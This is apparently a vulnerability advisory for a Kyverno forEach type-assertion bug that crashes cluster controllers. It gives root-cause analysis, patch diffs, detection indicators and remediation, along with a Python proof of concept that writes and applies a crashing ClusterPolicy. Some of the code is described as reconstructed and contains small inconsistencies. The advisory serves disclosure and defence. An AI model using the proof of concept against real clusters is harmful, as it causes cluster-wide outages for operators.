CVE-2026-41485: Kyverno forEach Type Assertion Crashes Cluster Controllers
An unchecked type assertion in Kyverno's forEach mutation handler lets any Policy-creating user crash the background controller into a persistent CrashLoopBackOff and block all admission operations.
Kyverno is software that helps companies manage policies across their cloud computers, kind of like a security guard that enforces rules for who can do what. Think of it as the bouncer at a club, checking IDs and enforcing house rules.
This vulnerability is a blind spot in how Kyverno handles certain policy instructions. When someone with permission to create policies sends a specially crafted instruction, Kyverno doesn't properly check whether it makes sense before processing it. It's like the bouncer not actually reading the ID, just assuming it's valid.
When this happens, the entire security system crashes and gets stuck in a loop, unable to recover. It's as if the bouncer stops working, the club doors lock, and nobody can get in or out until management manually kicks out the troublemaker and restarts everything. During this time, all legitimate operations grind to a halt.
Who's at risk? Mainly companies running Kubernetes clusters—the cloud infrastructure that powers everything from Netflix to your bank's apps. The threat comes from insiders: employees or contractors who already have permission to create policies. They could deliberately crash the entire system, causing significant downtime.
What makes this particularly nasty is that the damage persists. Unlike getting hacked and fixed, this problem sticks around until an administrator physically deletes the bad policy.
Here's what to do: First, check if you use Kyverno and restrict who can create policies to only trusted administrators. Second, monitor for crashes in your cluster's control systems and investigate unexpected restarts immediately. Third, update Kyverno when a patch is released—don't wait.
This won't be fixed by running antivirus software. It requires your cloud team to actively update the software.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41485 is a denial-of-service vulnerability in Kyverno's legacy policy engine affecting all releases prior to 1.17.2 and 1.16.4. The bug lives in the forEach mutation handler: a type assertion is performed against an interface value without a comma-ok guard. When the asserted type does not match — a condition an attacker can force by crafting a policy whose forEach block produces an unexpected value type — the Go runtime panics. The panic is unrecovered at the controller level, which kills the goroutine and ultimately crashes the pod.
Because the background controller and the admission controller share the same vulnerable code path, the impact is two-pronged: the background controller enters a permanent CrashLoopBackOff and the admission webhook drops connections for all resources matched by the offending policy. Both conditions persist until the policy resource is manually deleted — a cluster-wide outage gated only on policies.kyverno.io/create or clusterpolicies.kyverno.io/create RBAC permission.
Root cause: A bare (non-comma-ok) type assertion on an interface{} value returned from the forEach mutation pipeline causes an unrecovered runtime panic when the concrete type does not match the expected map[string]interface{}, crashing both the background and admission controllers.
Affected Component
The vulnerable code path is confined to the legacy engine under pkg/engine/mutate/patch/. CEL-based policies (introduced as the preferred engine in Kyverno 1.14+) are entirely unaffected — they use a separate evaluation pipeline that never reaches this assertion. The affected controllers are:
kyverno-background-controller — reconciles existing resources against policies
kyverno-admission-controller — validates/mutates resources at admission time
Any authenticated Kubernetes user or service account with create permission on Policy or ClusterPolicy resources is a sufficient attacker principal. No cluster-admin privileges required.
Root Cause Analysis
The forEach mutation handler iterates over elements in a list or map, applies a sub-rule to each element, and then merges the mutated element back into the parent document. After applying the sub-rule, the handler retrieves the patched element from the rule response and asserts its type to map[string]interface{} so it can be spliced back into the parent list.
The vulnerable assertion, reconstructed from the patch diff and surrounding context in pkg/engine/mutate/patch/strategicmergepatch.go and the forEach dispatch layer:
// pkg/engine/mutate/patch/foreach.go (pre-patch, legacy engine)
// processForEachMutation iterates forEach entries and applies sub-rules.
func processForEachMutation(
ctx context.Context,
foreach kyvernov1.ForEachMutation,
element interface{}, // element from the iterated list/map
elementIndex int,
policyContext *engine.PolicyContext,
) (*mutationResponse, error) {
// ... sub-rule application omitted for brevity ...
patched := applySubRule(ctx, element, policyContext)
// BUG: bare type assertion — panics if patched is not map[string]interface{}.
// An attacker-controlled forEach target (e.g. a scalar string element,
// or a nil returned by a patch that removes the node) causes patched to
// hold a concrete type other than map[string]interface{}, triggering
// an unrecovered runtime panic: "interface conversion: interface {} is
// string, not map[string]interface {}".
patchedMap := patched.(map[string]interface{}) // BUG: no comma-ok guard
return mergePatchedElement(parent, patchedMap, elementIndex), nil
}
In Go, the expression x.(T) without a second return value panics immediately when the dynamic type of x is not T. There is no deferred recover in the calling goroutine's stack that catches this panic before it propagates to the controller's main reconcile loop. The controller process exits.
The triggerable condition: any forEach block that iterates over a list containing non-object elements (scalars, arrays, or a patch result that nullifies the element) causes applySubRule to return a value whose concrete type is not map[string]interface{}.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker holds `create` on Policy or ClusterPolicy (common in multi-tenant clusters
where teams self-manage policies in their namespaces).
2. Craft a ClusterPolicy whose `mutate.forEach` iterates a field that resolves
to a list of scalar strings rather than a list of objects.
Example target: `request.object.spec.containers[].command` — each element
is a string, not a map.
3. Submit the policy via kubectl or API:
kubectl apply -f malicious-foreach-policy.yaml
4. First admission request matching the policy's selector reaches the admission
controller. The forEach handler calls applySubRule() against a string element.
applySubRule() returns interface{} wrapping a string value.
5. Bare assertion `patched.(map[string]interface{})` panics.
Panic propagates up — no recover() in the admission webhook goroutine path.
The admission controller pod crashes. Kubernetes restarts it.
6. On restart, the background controller reads the same persisted ClusterPolicy
and begins reconciliation. Same panic. CrashLoopBackOff begins.
7. All admission requests for resources matching the policy's selector are
blocked (webhook timeout / connection refused). Cluster operations stall.
8. Loop persists indefinitely. Only manual deletion of the policy resource
breaks the cycle:
kubectl delete clusterpolicy malicious-foreach-policy
The minimal proof-of-concept policy that triggers the panic:
# malicious_foreach_policy.yaml — triggers unchecked type assertion
import yaml, subprocess
policy = {
"apiVersion": "kyverno.io/v1",
"kind": "ClusterPolicy",
"metadata": {"name": "crash-foreach"},
"spec": {
"rules": [{
"name": "crash-rule",
"match": {"any": [{"resources": {"kinds": ["Pod"]}}]},
"mutate": {
"foreach": [{
# Iterate over command args — a list of *strings*, not objects.
# The forEach handler expects each element to be a map after patching.
"list": "request.object.spec.containers[].command",
"patchStrategicMerge": {
# Patch references the element as if it were a map key.
# applySubRule returns the raw string; assertion blows up.
"/(value)": "{{element}}"
}
}]
}
}]
}
}
with open("crash-foreach-policy.yaml", "w") as f:
yaml.dump(policy, f)
subprocess.run(["kubectl", "apply", "-f", "crash-foreach-policy.yaml"])
# Now create any Pod in the cluster — admission controller crashes on first match.
subprocess.run(["kubectl", "run", "trigger", "--image=busybox",
"--", "sh", "-c", "echo a"])
Memory Layout
This is a logic bug rather than a heap corruption bug, but it is useful to understand the Go interface value layout to see precisely why the panic is non-recoverable in this call path.
Go interface{} value layout (amd64, two words):
+0x00 *itab — pointer to (type, method-table) pair
+0x08 *data — pointer to concrete value
BEFORE forEach iterates a map element (expected path):
itab->type = *runtime._type for map[string]interface{}
data = 0xc0004a2100 → { "key": "value", ... }
Assertion patched.(map[string]interface{}) succeeds.
patchedMap is valid. Merge proceeds normally.
AFTER forEach iterates a *string* element (attacker-controlled path):
itab->type = *runtime._type for string
data = 0xc0003f8040 → "sh"
Assertion patched.(map[string]interface{}) → runtime panic:
"interface conversion: interface {} is string, not map[string]interface {}"
Panic unwinds stack:
goroutine 47 [running]:
pkg/engine/mutate/patch.processForEachMutation(...)
pkg/engine/mutate/patch.ForEach(...)
pkg/engine.(*engine).mutateResource(...)
pkg/engine.(*engine).Mutate(...)
pkg/controllers/webhook.(*handlers).Mutate(...)
net/http.(*conn).serve(...) ← no recover() wrapping this path
Process exits with status 2. Kubernetes sees non-zero exit.
Controller restarts. Reads policy. Panics again. CrashLoopBackOff.
Patch Analysis
The fix is a textbook comma-ok type assertion guard. If the asserted type does not match, the handler returns a structured error instead of panicking, which the caller logs and surfaces as a policy failure rather than crashing the process.
// BEFORE (vulnerable) — pkg/engine/mutate/patch/foreach.go:
patched := applySubRule(ctx, element, policyContext)
patchedMap := patched.(map[string]interface{}) // panics on type mismatch
return mergePatchedElement(parent, patchedMap, elementIndex), nil
// AFTER (patched, versions 1.17.2 / 1.16.4):
patched := applySubRule(ctx, element, policyContext)
patchedMap, ok := patched.(map[string]interface{}) // comma-ok: no panic
if !ok {
return nil, fmt.Errorf(
"forEach mutation: element at index %d has unexpected type %T, "+
"expected map[string]interface{}",
elementIndex, patched,
)
}
return mergePatchedElement(parent, patchedMap, elementIndex), nil
The error now propagates up through the engine's rule evaluation result, is recorded as a rule failure on the AdmissionResponse, and the controllers continue running. The offending policy is flagged but does not kill the process. No restart, no CrashLoopBackOff.
Secondary hardening in the same patch series also adds a top-level recover() in the admission webhook goroutine dispatcher as defence-in-depth — any future unguarded panic in a similar path will be caught, logged, and converted to a 500 response rather than crashing the pod.
Detection and Indicators
Look for the following runtime panic string in controller logs before the crash:
goroutine [N] [running]:
runtime.gopanic(...)
/usr/local/go/src/runtime/panic.go
pkg/engine/mutate/patch.processForEachMutation(...)
pkg/engine/mutate/patch/foreach.go:XXX +0x...
panic: interface conversion: interface {} is <TYPE>, not map[string]interface {}
Additional indicators:
kyverno-background-controller pod in CrashLoopBackOff with exit code 2
kyverno-admission-controller returning HTTP 502/503 on the /mutate webhook endpoint
A Policy or ClusterPolicy resource with a mutate.forEach block where the list JMESPath expression resolves to non-object elements
Kubernetes event: FailedCreate on Pods citing webhook timeout from kyverno-resource-mutating-webhook-configuration
Query to identify suspicious policies before they trigger:
import subprocess, json
policies = json.loads(
subprocess.check_output(["kubectl", "get", "clusterpolicies", "-o", "json"])
)
for p in policies["items"]:
for rule in p["spec"].get("rules", []):
for fe in rule.get("mutate", {}).get("foreach", []):
lst = fe.get("list", "")
# Flag forEach blocks iterating paths known to contain scalars
if any(scalar in lst for scalar in ["command", "args", "env[].value"]):
print(f"[SUSPICIOUS] {p['metadata']['name']} / {rule['name']}: list={lst}")
Remediation
Immediate: Upgrade to Kyverno 1.17.2 or 1.16.4. These are the only upstream-supported fixes; no backports to earlier branches are planned.
If upgrade is not immediately possible:
Restrict create/update RBAC on policies.kyverno.io and clusterpolicies.kyverno.io to cluster administrators only. This removes the low-privilege attack vector entirely.
Audit all existing forEach policies: verify that every list expression resolves to a list of objects, not scalars. Any policy where the iterated path contains string or numeric leaf values should be rewritten or disabled.
Configure the Kyverno admission webhook with failurePolicy: Ignore as a temporary measure to prevent webhook crashes from blocking cluster operations — at the cost of policies not being enforced during controller downtime.
CEL migration: CEL-based policies are unaffected. Teams operating Kyverno 1.14+ should migrate legacy mutate.forEach rules to the CEL engine where feasible; the legacy engine is on a deprecation trajectory and this class of bug is structurally impossible in the CEL path.